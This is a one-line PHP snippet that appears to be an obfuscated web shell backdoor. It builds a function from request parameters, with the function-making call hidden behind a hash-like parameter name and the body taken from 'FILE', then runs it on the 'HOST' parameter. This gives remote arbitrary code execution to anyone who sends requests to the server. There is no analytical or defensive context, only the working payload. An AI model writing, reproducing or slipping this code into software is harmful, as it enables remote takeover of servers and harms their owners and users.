if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['ef94b5fc7eda87a7e80421e94fed77c4']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));}